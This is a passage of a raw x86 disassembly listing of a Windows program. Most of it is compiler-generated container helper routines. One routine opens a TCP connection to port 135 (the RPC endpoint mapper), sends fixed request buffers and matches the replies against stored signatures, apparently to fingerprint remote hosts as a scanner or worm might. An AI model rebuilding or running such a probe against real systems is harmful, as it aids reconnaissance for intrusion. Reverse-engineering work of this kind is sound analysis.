mov byte ptr [esp+90h+var_4], 13h
call sub_401226
push offset asc_444410 ; "/"
lea ecx, [esp+94h+var_6C]
call sub_4013E3
lea ecx, [esp+90h+var_24]
push eax
push ecx
lea ecx, [esp+98h+var_6C]
call sub_401E2E
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 15h
call sub_40200E
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
add esi, 58h
push offset asc_444410 ; "/"
mov ecx, esi
call sub_4015D7
lea edx, [esp+90h+var_6C]
mov ecx, esi
push edx
call sub_4016BD
lea ecx, [esp+90h+var_6C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_421419: ; CODE XREF: sub_420E10+2Aj
; sub_420E10+BAj ...
mov ecx, [esp+90h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 84h
retn
sub_420E10 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 190h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4215D0 proc near ; CODE XREF: sub_401AEBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_4]
push ebx
mov ebx, [esp+4+arg_C]
push ebp
sub edx, ebx
xor eax, eax
push esi
push edi
test edx, edx
jle short loc_4215FB
loc_4215E4: ; CODE XREF: sub_4215D0+29j
mov esi, [esp+10h+arg_0]
mov edi, [esp+10h+arg_8]
add esi, eax
mov ecx, ebx
xor ebp, ebp
repe cmpsb
jz short loc_421602
inc eax
cmp eax, edx
jl short loc_4215E4
loc_4215FB: ; CODE XREF: sub_4215D0+12j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421602: ; CODE XREF: sub_4215D0+24j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
sub_4215D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421620: ; CODE XREF: ___:0040209Aj
mov eax, 2010h
call sub_436840
mov eax, [esp+2018h]
push ebp
push esi
dec eax
push edi
jz short loc_42166D
dec eax
jz short loc_421647
dec eax
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421647: ; CODE XREF: ___:00421638j
mov eax, [esp+2020h]
push 1388h
push eax
call sub_402004
add esp, 8
neg al
sbb eax, eax
pop edi
pop esi
and eax, 3
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: ___:00421635j
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_4217C9
cmp esi, 0FFFFFFFFh
jz loc_4217C9
xor ecx, ecx
push 87h
mov [esp+10h], ecx
mov word ptr [esp+10h], 2
mov [esp+14h], ecx
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2B66h
nop
mov edx, [esp+2020h]
mov [esp+0Eh], ax
push edx
call sub_40187F
add esp, 4
mov [esp+10h], eax
lea eax, [esp+0Ch]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov ebp, dword_50FC8C
push 0
push 48h
push offset dword_443DD8
push esi
call ebp ; dword_50FC8C
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov edi, dword_50FC90
push 0
lea ecx, [esp+20h]
push 2000h
push ecx
push esi
call edi ; dword_50FC90
cmp eax, 0FFFFFFFFh
jz loc_4217C2
cmp byte ptr [esp+1Eh], 0Ch
jnz loc_4217C2
push 0
push 18h
push offset dword_443E4C
push esi
call ebp ; dword_50FC8C
cmp eax, 0FFFFFFFFh
jz loc_4217C2
push 0
lea edx, [esp+20h]
push 2000h
push edx
push esi
call edi ; dword_50FC90
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4217C2
cmp byte ptr [esp+1Eh], 2
jnz short loc_4217C2
push 10h
push offset dword_443E24
lea eax, [esp+24h]
push edi
push eax
call sub_401AEB
add esp, 10h
test al, al
jz short loc_421791
xor ecx, ecx
cmp edi, 12Ch
setnl cl
inc ecx
push esi
mov edi, ecx
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: ___:0042176Ej
push 10h
push offset dword_443E38
lea edx, [esp+24h]
push edi
push edx
call sub_401AEB
add esp, 10h
neg al
sbb eax, eax
push esi
and eax, 3
mov edi, eax
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_4217C2: ; CODE XREF: ___:004216DBj
; ___:004216F6j ...
push esi
call near ptr 71AB9639h
nop
loc_4217C9: ; CODE XREF: ___:0042167Ej
; ___:00421687j
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421850: ; CODE XREF: ___:00401A00j
xor al, al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421870 proc near ; CODE XREF: sub_40120Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401311
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4010E6
sub_421870 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4218B0 proc near ; CODE XREF: sub_4018D9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401901
sub_4218B0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4218F0 proc near ; CODE XREF: sub_401816j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40196F
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4014D8
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401997
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401947
sub_4218F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421960 proc near ; CODE XREF: sub_4014D8j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40204F
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401EBF
mov eax, esi
pop esi
retn 4
sub_421960 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4219A0 proc near ; CODE XREF: sub_40196Fj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401EBF
mov eax, esi
pop esi
retn 4
sub_4219A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219D0 proc near ; CODE XREF: sub_402167j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40196F
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4018FC
sub_4219D0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A10 proc near ; CODE XREF: sub_401703j
push esi
mov esi, ecx
call sub_4019EC
mov eax, esi
pop esi
retn
sub_421A10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A30 proc near ; CODE XREF: sub_40122Bj
mov eax, [ecx]
push eax
call sub_4010F5
add esp, 4
retn
sub_421A30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A50 proc near ; CODE XREF: sub_40107Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40204F
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421A50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A80 proc near ; CODE XREF: sub_401802j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FFF
neg al
sbb eax, eax
inc eax
retn 4
sub_421A80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AB0 proc near ; CODE XREF: sub_4016E0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401212
sub_421AB0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AF0 proc near ; CODE XREF: sub_401253j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4013ED
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40100F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4021B7
sub_421AF0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B60 proc near ; CODE XREF: sub_40145Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40110E
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D75
mov eax, esi
pop esi
retn 4
sub_421B60 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421BA0 proc near ; CODE XREF: sub_4013EDj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D75
mov eax, esi
pop esi
retn 4
sub_421BA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BD0 proc near ; CODE XREF: sub_401325j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4013ED
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401BAE
sub_421BD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C10 proc near ; CODE XREF: sub_401B40j
push esi
mov esi, ecx
call sub_4011A9
mov eax, esi
pop esi
retn
sub_421C10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C30 proc near ; CODE XREF: sub_401055j
mov eax, [ecx]
push eax
call sub_40108C
add esp, 4
retn
sub_421C30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C50 proc near ; CODE XREF: sub_40182Aj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421C50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C80 proc near ; CODE XREF: sub_4012BCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401D48
neg al
sbb eax, eax
inc eax
retn 4
sub_421C80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421CB0 proc near ; CODE XREF: sub_4010E6j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401ECE
mov edi, eax
push edi
call sub_401B1D
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40139D
sub_421CB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401B1D
push edi
mov [eax], ebx
call sub_401B1D
mov edi, [eax]
push edi
call sub_401B1D
mov ecx, [eax]
push ecx
call sub_4015D2
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401172
add esp, 4
mov ecx, esi
push eax
call sub_401E3D
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401D84
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421D50 proc near ; CODE XREF: sub_4018FCj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4010C8
mov edi, eax
push edi
call sub_401CF3
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401901
sub_421D50 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401CF3
push edi
mov [eax], ebx
call sub_401CF3
mov edi, [eax]
push edi
call sub_401CF3
mov ecx, [eax]
push ecx
call sub_40204F
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4010F5
add esp, 4
mov ecx, esi
push eax
call sub_4017E9
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401EBF
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421DF0 proc near ; CODE XREF: sub_401997j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401802
test al, al
jz short loc_421E4A
loc_421E08: ; CODE XREF: sub_421DF0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4020B8
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A1E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401802
test al, al
jnz short loc_421E08
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_421E4A: ; CODE XREF: sub_421DF0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_421DF0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421E80 proc near ; CODE XREF: sub_401901j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 24h
call sub_401DF2
sub_421E80 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_421E95
mov edi, esi
loc_421E95: ; CODE XREF: ___:00421E91j
push esi
call sub_40204F
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_421EAA
mov edi, esi
loc_421EAA: ; CODE XREF: ___:00421EA6j
push esi
call sub_401CF3
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421ED0 proc near ; CODE XREF: sub_401947j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401546
sub_421ED0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421EF0 proc near ; CODE XREF: sub_40204Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_421EF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F10 proc near ; CODE XREF: sub_4010F5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_421F10 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F30 proc near ; CODE XREF: sub_4019ECj
mov eax, ecx
retn
sub_421F30 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F50 proc near ; CODE XREF: sub_401EBFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401519
mov eax, esi
pop esi
retn 4
sub_421F50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F80 proc near ; CODE XREF: sub_401FFFj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_421F80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421FB0 proc near ; CODE XREF: sub_401BAEj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4018E8
mov edi, eax
push edi
call sub_4010EB
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401212
sub_421FB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4010EB
push edi
mov [eax], ebx
call sub_4010EB
mov edi, [eax]
push edi
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40108C
add esp, 4
mov ecx, esi
push eax
call sub_4013DE
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401D75
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422050 proc near ; CODE XREF: sub_40100Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jz short loc_4220AA
loc_422068: ; CODE XREF: sub_422050+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4019AB
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401B7C
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jnz short loc_422068
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4220AA: ; CODE XREF: sub_422050+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_422050 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4220E0 proc near ; CODE XREF: sub_401212j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 20h
call sub_4020BD
sub_4220E0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4220F5
mov edi, esi
loc_4220F5: ; CODE XREF: ___:004220F1j
push esi
call sub_40110E
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_42210A
mov edi, esi
loc_42210A: ; CODE XREF: ___:00422106j
push esi
call sub_4010EB
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422130 proc near ; CODE XREF: sub_4021B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4018E3
sub_422130 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422150 proc near ; CODE XREF: sub_40110Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_422150 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422170 proc near ; CODE XREF: sub_40108Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422170 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422190 proc near ; CODE XREF: sub_4011A9j
mov eax, ecx
retn
sub_422190 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4221B0 proc near ; CODE XREF: sub_401D75j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4018ED
mov eax, esi
pop esi
retn 4
sub_4221B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4221E0 proc near ; CODE XREF: sub_401D48j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4221E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422210 proc near ; CODE XREF: sub_401E3Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401A2D
add esp, 8
retn 8
sub_422210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422240 proc near ; CODE XREF: sub_401A1Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4020B8
mov ecx, eax
call sub_4010C8
mov esi, eax
push esi
call sub_40204F
push esi
mov ebx, eax
call sub_401CF3
mov ecx, [eax]
push ecx
call sub_40204F
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401CF3
push esi
mov ebx, eax
call sub_40204F
mov eax, [eax]
push eax
call sub_401CF3
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4010F5
add esp, 1Ch
mov ecx, edi
push eax
call sub_401631
push esi
mov ecx, edi
call sub_401947
sub_422240 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422300 proc near ; CODE XREF: sub_401CF3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_422300 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422320 proc near ; CODE XREF: sub_401DF2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_422320 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422350 proc near ; CODE XREF: sub_401546j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_422350 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422370 proc near ; CODE XREF: sub_4017E9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40201D
add esp, 8
retn 8
sub_422370 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223A0 proc near ; CODE XREF: sub_401519j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4223A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223C0 proc near ; CODE XREF: sub_4010C8j
mov eax, [ecx]
retn
sub_4223C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223E0 proc near ; CODE XREF: sub_4020B8j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40107D
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4223E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422410 proc near ; CODE XREF: sub_401B7Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4019AB
mov ecx, eax
call sub_4018E8
mov esi, eax
push esi
call sub_40110E
push esi
mov ebx, eax
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010EB
push esi
mov ebx, eax
call sub_40110E
mov eax, [eax]
push eax
call sub_4010EB
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40108C
add esp, 1Ch
mov ecx, edi
push eax
call sub_401E60
push esi
mov ecx, edi
call sub_4021B7
sub_422410 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
